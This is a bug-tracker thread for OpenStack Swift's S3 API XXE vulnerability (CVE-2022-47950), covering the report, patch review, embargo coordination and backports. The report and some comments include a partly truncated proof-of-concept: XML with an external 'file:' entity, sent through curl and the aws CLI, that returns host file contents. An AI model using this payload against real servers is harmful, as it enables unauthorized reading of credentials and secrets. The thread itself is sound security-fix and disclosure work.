[OSSA-2023-001] Arbitrary file access through custom S3 XML entities (CVE-2022-47950)
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
OpenStack Object Storage (swift) |
Fix Released
|
Critical
|
Tim Burke | ||
OpenStack Security Advisory |
Fix Released
|
High
|
Jeremy Stanley |
Bug Description
The vulnerability managers received the following report from Sébastien Meriot with OVH via encrypted E-mail:
Few weeks ago, our team managing the Swift clusters discovered a vulnerability affecting the S3 API allowing a remote authenticated adversary
to read arbitrary files on the host filesystem by exploiting an improper use of XMLParser.
We evaluate the CVSS score to 7.7:
https:/
The issue is located in the file: swift/common/
The way the XMLParser is used allows to resolve entities and then to read file content by adding entities in the uploaded XML.
Here is a quick reproducer using both 'PutBucketACL' and 'DeleteObjects':
```
$ cat xxe
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:/
<AccessControlP
<Owner>
<DisplayNam
<ID>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://
</Grantee>
</Grant>
</AccessControl
</AccessControl
$ aws s3api get-bucket-acl --bucket mybucket
{
"Owner": {
"ID": "demo:demo"
},
"Grants": [
{
},
}
]
}
$ curl -i -XPUT "http://
HTTP/1.1 100 Continue
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
x-amz-id-2: tx792d8913a4614
x-amz-request-id: tx792d8913a4614
Content-Length: 0
X-Trans-Id: tx792d8913a4614
X-Openstack-
Date: Tue, 25 Oct 2022 15:22:33 GMT
$ aws s3api get-bucket-acl --bucket mybucket
{
"Owner": {
"ID": "demo:demo"
},
"Grants": [
{
},
}
]
}
```
As you can see, in the DisplayName and the ID field, the content of the hostname file is returned.
The same thing happens with the DeleteObjects endpoint.
We applied a quick patch to fix this issue like follow :
```
diff --git a/swift/
index 987b84a14.
--- a/swift/
+++ b/swift/
@@ -130,7 +130,7 @@ class _Element(
parser_lookup = lxml.etree.
-parser = lxml.etree.
+parser = lxml.etree.
parser.
Element = parser.makeelement
```
CVE References
Jeremy Stanley (fungi) wrote : | #1 |
Changed in ossa: | |
status: | New → Incomplete |
Tim Burke (1-tim-z) wrote : | #2 |
Can confirm -- seems like a nasty one! Working on getting a test together, but that fix looks appropriate. Hope to have a patch to offer here later tonight, or my Monday at the latest.
Changed in swift: | |
status: | New → Confirmed |
assignee: | nobody → Tim Burke (1-tim-z) |
importance: | Undecided → Critical |
Aymeric Ducroquetz (aymericdu) wrote (last edit ): | #3 |
- fix_detect_and_tests.patch Edit (16.8 KiB, text/plain)
If it helps, we've already worked on the fix and the tests.
But we also thought about a way to detect this kind of attack.
Here is the commit attached.
Edited:
I forgot to add Romain De Joux as co-author of this patch. If you use this patch, is it possible to add him? Thanks
Co-Authored-By: Romain de Joux <email address hidden>
Tim Burke (1-tim-z) wrote : | #4 |
- 0001-s3api-Prevent-XXE-injections.patch Edit (20.5 KiB, text/plain)
Patch makes sense -- I have a few notes, and a fresh patch:
- The added functional tests assume they are running on the proxy under test -- would it be better to probe for /etc/swift/
- Is it expected that 3 of 5 added tests pass without the fix? I think I understand the server-side validation we have that prevent the XXE vulnerability on those APIs, but want to make sure this was intended.
- The added logging may get noisy -- as a general rule, I tend to worry about adding server warnings for bad client behavior. Emitting a new counter metric might be better? I'm content to leave it, though; it's no worse than our client-disconnect behavior.
clayg (clay-gerrard) wrote : | #5 |
- just the fix w/o the logging Edit (4.0 KiB, text/plain)
it looks like `resolve_
... which seems questionable to me because the logged warning sounds scary but isn't actually and there's nothing ops can do about it.
Let's drop the logging and land the fix so we can life the security embargo - then we can figure out what to do about the logger plumbing.
Tim Burke (1-tim-z) wrote : | #6 |
- 0001-s3api-Prevent-XXE-injections.patch Edit (12.7 KiB, text/plain)
I think I like splitting it up; first patch to have the fix and tests, second to add logging. Then we can debate the logging separately and (potentially) with more input from others. Clay lost the func tests, though; this patch retains them but drops the logging.
Tim Burke (1-tim-z) wrote : | #7 |
- 0002-Detect-and-log-attempted-XXE-injections.patch Edit (8.7 KiB, text/plain)
(And the logging plumbing; can submit as a chain.)
clayg (clay-gerrard) wrote : | #8 |
keeping all the testing is fine with me - removing the logging will potentially make the fix easier to backport too. +2
Romain de Joux (rdejoux) wrote : | #9 |
+1 about the splitted patch. Thanks for review
Matthew Oliver (matt-0) wrote : | #10 |
- 0001-s3api-Prevent-XXE-injections.patch Edit (12.5 KiB, text/plain)
OK I've had a play with the patch. Looks good. I've gone and spit them up into 2 that we can push up one after the other into gerrit. The first is just the fix and tests, as suggested by Clay and the other is the logging stuff.
Persionally I don't mind the logging stuff too much as I can understand it might be nice to know how often these entitities are in requests.. but as the others suggest a warning tells the ops what, there is nothing they can really do about it.
Anycase, holding up a security bug with this seems silly, so if we split them in 2 like this we can land the fix, and discuss the logging and also get that landed a short time afterwards.
So aside from just splitting the patch provided by Tim (as it had the functional test), I've also gone and fixed up pep issues in the first patch that'll probably cause issues in zuul when we do push it.
Having said that, there are some format strings in the patch that will apply fine to py3, but if we plan to backport this into py2 releases then we may need to either modify the patch to be py2/3 compliant _or_ just adjust the backported patch accordingly. it's only in the functional test.
I have kept the ownership of both patches the same as the original patch.. but if you don't like my fiddling with your code, Feel free to adjust accordingly.
Matthew Oliver (matt-0) wrote : | #11 |
- 0002-s3api-Log-a-warning-when-entities-in-XML.patch Edit (8.8 KiB, text/plain)
And the second patch.. shame you can't add more then 1 in a comment.
Aymeric Ducroquetz (aymericdu) wrote : | #12 |
Thanks for the comments and improvements.
Indeed, some tests pass without the patch. I did a test for all requests that expect XML, to make sure there is no regression.
I totally agree to split the patch into 2, the log message is much less of a priority (+1 on both patches).
Tim Burke (1-tim-z) wrote : | #13 |
- 0001-s3api-Prevent-XXE-injections.patch Edit (12.5 KiB, text/plain)
Good call on the py2 fixups, Matt, thanks! There was one more f-string in test_complete_
Getting an unexpected 500 in test_put_bucket_acl -- server logs have
Dec 13 17:13:05 saio proxy-server: __str__ returned non-string (type NoneType):
Traceback (most recent call last):
File "/vagrant/
resp = self.handle_
File "/vagrant/
res = handler(req)
File "/vagrant/
req.
File "/vagrant/
resp = self.acl_
File "/vagrant/
return getattr(ah, method)(app)
File "/vagrant/
'Grant %s %s permission on the bucket /%s' %
TypeError: __str__ returned non-string (type NoneType) (txn: txa58de4ecc14e4
I think I see the problem, but I'll just update the test to avoid it for now and write up a separate bug.
Tim Burke (1-tim-z) wrote : | #14 |
Matt and/or Clay, want to spot-check the new patch?
Jeremy, am I right to think that you will be the VMT coordinator for this? Do you need any help with the impact description?
It's probably worth noting that this impacts all Swift deployments with an S3-compatibility layer, whether that's provided by s3api (for Swift 2.18.0+; i.e. Rocky and later) or swift3 (for Queens and earlier, but for which development has stopped).
Mitigations are to either patch the software (it boils down to the one-line change identified in the initial report) or disable S3-compatibility.
Jeremy Stanley (fungi) wrote : | #15 |
Yes, I'll serve as the vulnerability coordinator for the CVE request, advance downstream stakeholder notification, advisory publication and so on. Assuming folks are good with the proposed change to master we'll also want clean backports to the current state of at least the stable/zed, stable/yoga and stable/xena branches (though feel free to create patches for older branches too if you like). Ideally attach the results of a git-formatted patch as described here: https:/
In order to request a CVE assignment from MITRE, I'll need a succinct description of the flaw and resulting risks (which we'll also include for context in subsequent communications). Here's an attempt, but please let me know if I got anything wrong...
Title: Arbitrary file access through custom S3 XML entities
Reporter: Sébastien Meriot (OVH)
Products: Swift
Affects: <2.28.1, >=2.29.0 <2.29.2, ==2.30.0
Description:
Sébastien Meriot (OVH) reported a vulnerability in Swift's S3 XML parser.
By supplying specially crafted XML files an authenticated user may coerce the S3 API into returning arbitrary file contents from the host server resulting in unauthorized read access to potentially sensitive data; this impacts both s3api deployments (Rocky or later), and swift3 deployments (Queens and earlier, no longer actively developed).
Only deployments with S3 compatibility enabled are affected.
Changed in ossa: | |
assignee: | nobody → Jeremy Stanley (fungi) |
importance: | Undecided → High |
status: | Incomplete → Confirmed |
Alistair Coles (alistair-coles) wrote : | #16 |
NOTE: in the original bug description there is a trailing ';' at the end of the <AccessControlP
Confirmed on my vsaio:
```
vagrant@vagrant:~$ curl 'http://
<AccessControlP
<Owner>
<DisplayNam
<ID>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://
</Grantee>
</Grant>
</AccessControl
</AccessControl
vagrant@vagrant:~$ aws s3api get-bucket-acl --bucket my-bucket
{
"Owner": {
"ID": "test:tester"
},
"Grants": [
{
},
}
]
}
```
Alistair Coles (alistair-coles) wrote : | #17 |
The fix attached to https:/
```
vagrant@vagrant:~$ curl 'http://
<AccessControlP
<Owner>
<DisplayNam
<ID>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://
</Grantee>
</Grant>
</AccessControl
</AccessControl
<?xml version='1.0' encoding='UTF-8'?>
<Error>
```
I fixed that with this change (but I am new to this code so not sure this is sufficient or appropriate):
```
diff --git a/swift/
index 1aa47b4b2.
--- a/swift/
+++ b/swift/
@@ -167,6 +167,8 @@ class Grantee(object):
type = elem.get('{%s}type' % XMLNS_XSI)
if type == 'CanonicalUser':
value = elem.find(
+ if not value:
+ raise MalformedACLError()
return User(value)
elif type == 'Group':
value = elem.find(
```
resulting in:
```
vagrant@vagrant:~$ curl 'http://
<AccessControlP
<Owner>
<DisplayNam
<ID>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://
<I...
Alistair Coles (alistair-coles) wrote : | #18 |
OK, I caught up with email and see Tim is already onto the 500 in https:/
Tim Burke (1-tim-z) wrote : | #19 |
Jeremy,
Description looks good, thanks.
Aymeric Ducroquetz (aymericdu) wrote : | #20 |
Do you already have any idea when information about this flaw will be made public?
As soon as the information is made public, we want to inform our customers as soon as possible.
Jeremy Stanley (fungi) wrote : Re: [Bug 1998625] Re: Arbitrary file access through custom S3 XML entities | #21 |
I'll file a private CVE request with MITRE now that we've got
agreement on the impact description. Once we have clean backports,
we'll pick a publication date and I'll supply advance copies of the
patches to OVH and other downstream stakeholders by E-mail under a
temporary embargo. We require a minimum of 3 business days between
advance notification and publication, though attempt to make it no
more than 5 business days. We generally schedule publication for
15:00 UTC on a Tuesday, Wednesday, or Thursday, and avoid publishing
on major holidays.
Given the above, I think we should probably expect to send advance
notification on Tuesday, January 3 (assuming we have the backported
patches and CVE assignments by then), with publication at 15:00 UTC
on Tuesday, January 10.
For reference, our vulnerability management process and timeline is
documented here:
https:/
Changed in ossa: | |
status: | Confirmed → In Progress |
Jeremy Stanley (fungi) wrote : Re: Arbitrary file access through custom S3 XML entities (CVE-2022-47950) | #22 |
MITRE has assigned CVE-2022-47950 for tracking this vulnerability.
summary: |
- Arbitrary file access through custom S3 XML entities + Arbitrary file access through custom S3 XML entities (CVE-2022-47950) |
Tim Burke (1-tim-z) wrote : | #23 |
- 0001-s3api-Prevent-XXE-injections.patch Edit (12.6 KiB, text/plain)
Updated the patch to include a reference to the now-assigned CVE.
The one patch applies cleanly to stable/wallaby and later. For earlier branches, it should be fairly easy to cherry-pick; it's simple context differences for stable/train through stable/victoria, and a minor unit test conflict for stable/rocky and stable/stein.
Recently checked on the stable gates, too -- we should be able to merge patches at least as far back as stein without too much difficulty.
Matt, Alistair, Clay, can I get some reviews on the newest patch?
Jeremy, have we sent the advance notice already, or are we waiting on reviews? FWIW, the only feedback I expect would be with regard to testing -- the crux of the issue is the one line change in swift/common/
Jeremy Stanley (fungi) wrote : Re: [Bug 1998625] Re: Arbitrary file access through custom S3 XML entities (CVE-2022-47950) | #24 |
Sending advance notification to downstream stakeholders can't happen
until we have consensus on the fix(es), individual patches for each
stable branch at least as far back as stable/xena, and agree on a
publication date and time.
It sounds like there is likely consensus on the current state of
your patch, and since you indicate you expect to directly push the
same patch to multiple branches I suppose can just include copies of
the same patch named for each branch in order to avoid confusion.
Assuming this is all accurate, I can send the advance notification
to downstream stakeholders on Tuesday, January 10, with a planned
advisory publication at 15:00 UTC on Tuesday, January 17 (our
maximum of 5 business days, in order to give deployers and
distribution package maintainers ample time to prepare updated
packages).
Does this plan sound reasonable to everyone? If there are no
objections by Tuesday, January 10, I'll proceed under the assumption
that it's fine. Thanks!
Tim Burke (1-tim-z) wrote : Re: Arbitrary file access through custom S3 XML entities (CVE-2022-47950) | #25 |
Notification tomorrow sounds good to me; I'll see if I can goad other cores to leave a review today, but I've certainly not heard any objections to the patch as it stands.
Matthew Oliver (matt-0) wrote : | #26 |
I've run py2 and 3 unit tests, pep8 and given it another look and all looks great to me!
Jeremy Stanley (fungi) wrote : | #27 |
Advance disclosure to the private mailing lists mentioned in our vulnerability management process document[*] is complete. There was some delay while we worked through a problem with the mailing list server.
Changed in ossa: | |
status: | In Progress → Fix Committed |
Alistair Coles (alistair-coles) wrote : | #28 |
Checked new version of patch attached here https:/
Before patch:
```
vagrant@
Signal proxy-server pid: 223087 signal: Signals.SIGTERM
Signal proxy-server pid: 223088 signal: Signals.SIGTERM
proxy-server (223088) appears to have stopped
proxy-server (223087) appears to have stopped
WARNING: Unable to modify max process limit. Running as non-root?
Starting proxy-server.
Starting proxy-server.
vagrant@
<AccessControlP
<Owner>
<DisplayNam
<ID>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://
<ID>foo &xxe;</ID>
</Grantee>
</Grant>
</AccessControl
</AccessControl
vagrant@
{
"Owner": {
"ID": "test:tester"
},
"Grants": [
{
},
}
]
}
```
After patch:
```
vagrant@
Signal proxy-server pid: 223110 signal: Signals.SIGTERM
Signal proxy-server pid: 223111 signal: Signals.SIGTERM
proxy-server (223110) appears to have stopped
proxy-server (223111) appears to have stopped
WARNING: Unable to modify max process limit. Running as non-root?
Starting proxy-server.
Starting proxy-server.
vagrant@
Jeremy Stanley (fungi) wrote : | #29 |
As scheduled, I'm planning to switch this bug's type to Public Security at 15:00 UTC (approximately an hour from now), at which point someone (ideally Tim) needs to push the patch to at least the master, stable/zed, stable/yoga, and stable/xena branches. Once that happens, so that we have the review URLs for them, I'll push the corresponding advisory text to the openstack/ossa repository and send a copy to the relevant mailing lists.
Jeremy Stanley (fungi) wrote : | #30 |
On closer look at the patch, it was originally authored by Aymeric and subsequently revised by Tim, Clay and Matthew so it would make sense for any of the above to push it to the indicated branches at 15:00 UTC once this bug is switched to public. If none of you are available for that time, I'm happy to do it instead of course.
information type: | Private Security → Public Security |
description: | updated |
summary: |
- Arbitrary file access through custom S3 XML entities (CVE-2022-47950) + [OSSA-2023-001] Arbitrary file access through custom S3 XML entities + (CVE-2022-47950) |
OpenStack Infra (hudson-openstack) wrote : Fix proposed to ossa (master) | #31 |
Fix proposed to branch: master
Review: https:/
Changed in swift: | |
status: | Confirmed → In Progress |
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (master) | #32 |
Fix proposed to branch: master
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/zed) | #33 |
Fix proposed to branch: stable/zed
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/yoga) | #34 |
Fix proposed to branch: stable/yoga
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/xena) | #35 |
Fix proposed to branch: stable/xena
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/wallaby) | #36 |
Fix proposed to branch: stable/wallaby
Review: https:/
Jeremy Stanley (fungi) wrote (last edit ): | #37 |
I pushed an additional cherry-pick to stable/wallaby since we asserted in the pre-OSSA that the patch applies cleanly there. Also, as Tim noted in comment #23, "For earlier branches, it should be fairly easy to cherry-pick; it's simple context differences for stable/train through stable/victoria, and a minor unit test conflict for stable/rocky and stable/stein."
OpenStack Infra (hudson-openstack) wrote : Fix merged to ossa (master) | #38 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: master
commit 0b14e1f02df3a0f
Author: Jeremy Stanley <email address hidden>
Date: Tue Jan 17 14:53:48 2023 +0000
Add OSSA-2023-001 (CVE-2022-47950)
Change-Id: I07a10908a8d1ce
Closes-Bug: #1998625
Changed in ossa: | |
status: | Fix Committed → Fix Released |
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (master) | #39 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: master
commit b8467e190f6fc67
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200
s3api: Prevent XXE injections
Previously, clients could use XML external entities (XXEs) to read
arbitrary files from proxy-servers and inject the content into the
request. Since many S3 APIs reflect request content back to the user,
this could be used to extract any secrets that the swift user could
read, such as tempauth credentials, keymaster secrets, etc.
Now, disable entity resolution -- any unknown entities will be replaced
with an empty string. Without resolving the entities, the request is
still processed.
[CVE-
Closes-Bug: #1998625
Co-Authored-By: Romain de Joux <email address hidden>
Change-Id: I84494123cfc85e
Changed in swift: | |
status: | In Progress → Fix Released |
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/zed) | #40 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/zed
commit 8dd96470a859dc7
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200
s3api: Prevent XXE injections
Previously, clients could use XML external entities (XXEs) to read
arbitrary files from proxy-servers and inject the content into the
request. Since many S3 APIs reflect request content back to the user,
this could be used to extract any secrets that the swift user could
read, such as tempauth credentials, keymaster secrets, etc.
Now, disable entity resolution -- any unknown entities will be replaced
with an empty string. Without resolving the entities, the request is
still processed.
[CVE-
Closes-Bug: #1998625
Co-Authored-By: Romain de Joux <email address hidden>
Change-Id: I84494123cfc85e
(cherry picked from commit b8467e190f6fc67
tags: | added: in-stable-zed |
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/victoria) | #41 |
Fix proposed to branch: stable/victoria
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/ussuri) | #42 |
Fix proposed to branch: stable/ussuri
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/yoga) | #43 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/yoga
commit d8d04ef43c90079
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200
s3api: Prevent XXE injections
Previously, clients could use XML external entities (XXEs) to read
arbitrary files from proxy-servers and inject the content into the
request. Since many S3 APIs reflect request content back to the user,
this could be used to extract any secrets that the swift user could
read, such as tempauth credentials, keymaster secrets, etc.
Now, disable entity resolution -- any unknown entities will be replaced
with an empty string. Without resolving the entities, the request is
still processed.
[CVE-
Closes-Bug: #1998625
Co-Authored-By: Romain de Joux <email address hidden>
Change-Id: I84494123cfc85e
(cherry picked from commit b8467e190f6fc67
tags: | added: in-stable-yoga |
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/xena) | #44 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/xena
commit 7d13d1a82e1f5d0
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200
s3api: Prevent XXE injections
Previously, clients could use XML external entities (XXEs) to read
arbitrary files from proxy-servers and inject the content into the
request. Since many S3 APIs reflect request content back to the user,
this could be used to extract any secrets that the swift user could
read, such as tempauth credentials, keymaster secrets, etc.
Now, disable entity resolution -- any unknown entities will be replaced
with an empty string. Without resolving the entities, the request is
still processed.
[CVE-
Closes-Bug: #1998625
Co-Authored-By: Romain de Joux <email address hidden>
Change-Id: I84494123cfc85e
(cherry picked from commit b8467e190f6fc67
tags: | added: in-stable-xena |
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/wallaby) | #45 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/wallaby
commit ead53ba0c89ee97
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200
s3api: Prevent XXE injections
Previously, clients could use XML external entities (XXEs) to read
arbitrary files from proxy-servers and inject the content into the
request. Since many S3 APIs reflect request content back to the user,
this could be used to extract any secrets that the swift user could
read, such as tempauth credentials, keymaster secrets, etc.
Now, disable entity resolution -- any unknown entities will be replaced
with an empty string. Without resolving the entities, the request is
still processed.
[CVE-
Closes-Bug: #1998625
Co-Authored-By: Romain de Joux <email address hidden>
Change-Id: I84494123cfc85e
(cherry picked from commit b8467e190f6fc67
tags: | added: in-stable-wallaby |
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/train) | #46 |
Fix proposed to branch: stable/train
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/victoria) | #47 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/victoria
commit c834e7a53d5a33a
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200
s3api: Prevent XXE injections
Previously, clients could use XML external entities (XXEs) to read
arbitrary files from proxy-servers and inject the content into the
request. Since many S3 APIs reflect request content back to the user,
this could be used to extract any secrets that the swift user could
read, such as tempauth credentials, keymaster secrets, etc.
Now, disable entity resolution -- any unknown entities will be replaced
with an empty string. Without resolving the entities, the request is
still processed.
[CVE-
Closes-Bug: #1998625
Co-Authored-By: Romain de Joux <email address hidden>
Change-Id: I84494123cfc85e
(cherry picked from commit b8467e190f6fc67
tags: | added: in-stable-victoria |
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/stein) | #48 |
Fix proposed to branch: stable/stein
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/rocky) | #49 |
Fix proposed to branch: stable/rocky
Review: https:/
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/ussuri) | #50 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/ussuri
commit baa98848451b5c2
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200
s3api: Prevent XXE injections
Previously, clients could use XML external entities (XXEs) to read
arbitrary files from proxy-servers and inject the content into the
request. Since many S3 APIs reflect request content back to the user,
this could be used to extract any secrets that the swift user could
read, such as tempauth credentials, keymaster secrets, etc.
Now, disable entity resolution -- any unknown entities will be replaced
with an empty string. Without resolving the entities, the request is
still processed.
[CVE-
Closes-Bug: #1998625
Co-Authored-By: Romain de Joux <email address hidden>
Change-Id: I84494123cfc85e
(cherry picked from commit b8467e190f6fc67
tags: | added: in-stable-ussuri |
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/train) | #51 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/train
commit 70b68dbf65c7bc6
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200
s3api: Prevent XXE injections
Previously, clients could use XML external entities (XXEs) to read
arbitrary files from proxy-servers and inject the content into the
request. Since many S3 APIs reflect request content back to the user,
this could be used to extract any secrets that the swift user could
read, such as tempauth credentials, keymaster secrets, etc.
Now, disable entity resolution -- any unknown entities will be replaced
with an empty string. Without resolving the entities, the request is
still processed.
[CVE-
Closes-Bug: #1998625
Co-Authored-By: Romain de Joux <email address hidden>
Change-Id: I84494123cfc85e
(cherry picked from commit b8467e190f6fc67
tags: | added: in-stable-train |
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/stein) | #52 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/stein
commit 12e54391861e7d1
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200
s3api: Prevent XXE injections
Previously, clients could use XML external entities (XXEs) to read
arbitrary files from proxy-servers and inject the content into the
request. Since many S3 APIs reflect request content back to the user,
this could be used to extract any secrets that the swift user could
read, such as tempauth credentials, keymaster secrets, etc.
Now, disable entity resolution -- any unknown entities will be replaced
with an empty string. Without resolving the entities, the request is
still processed.
[CVE-
Closes-Bug: #1998625
Co-Authored-By: Romain de Joux <email address hidden>
Change-Id: I84494123cfc85e
(cherry picked from commit b8467e190f6fc67
tags: | added: in-stable-stein |
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/rocky) | #53 |
Reviewed: https:/
Committed: https:/
Submitter: "Zuul (22348)"
Branch: stable/rocky
commit f10672514217ada
Author: Aymeric Ducroquetz <email address hidden>
Date: Tue Oct 25 22:07:53 2022 +0200
s3api: Prevent XXE injections
Previously, clients could use XML external entities (XXEs) to read
arbitrary files from proxy-servers and inject the content into the
request. Since many S3 APIs reflect request content back to the user,
this could be used to extract any secrets that the swift user could
read, such as tempauth credentials, keymaster secrets, etc.
Now, disable entity resolution -- any unknown entities will be replaced
with an empty string. Without resolving the entities, the request is
still processed.
[CVE-
Closes-Bug: #1998625
Co-Authored-By: Romain de Joux <email address hidden>
Change-Id: I84494123cfc85e
(cherry picked from commit b8467e190f6fc67
tags: | added: in-stable-rocky |
Jake Yip (waipengyip) wrote : | #54 |
Thanks for the merges to stable branches!
I'm wondering if the releases will be updated, and when?
I saw an update for stable/xena[1] but that's not right too.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/swift 2.31.0 | #55 |
This issue was fixed in the openstack/swift 2.31.0 release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/swift 2.30.1 | #56 |
This issue was fixed in the openstack/swift 2.30.1 release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/swift 2.29.2 | #57 |
This issue was fixed in the openstack/swift 2.29.2 release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/swift 2.28.1 | #58 |
This issue was fixed in the openstack/swift 2.28.1 release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/swift rocky-eol | #59 |
This issue was fixed in the openstack/swift rocky-eol release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/swift stein-eol | #60 |
This issue was fixed in the openstack/swift stein-eol release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/swift train-eol | #61 |
This issue was fixed in the openstack/swift train-eol release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/swift ussuri-eol | #62 |
This issue was fixed in the openstack/swift ussuri-eol release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/swift victoria-eom | #63 |
This issue was fixed in the openstack/swift victoria-eom release.
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/swift wallaby-eom | #64 |
This issue was fixed in the openstack/swift wallaby-eom release.
Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.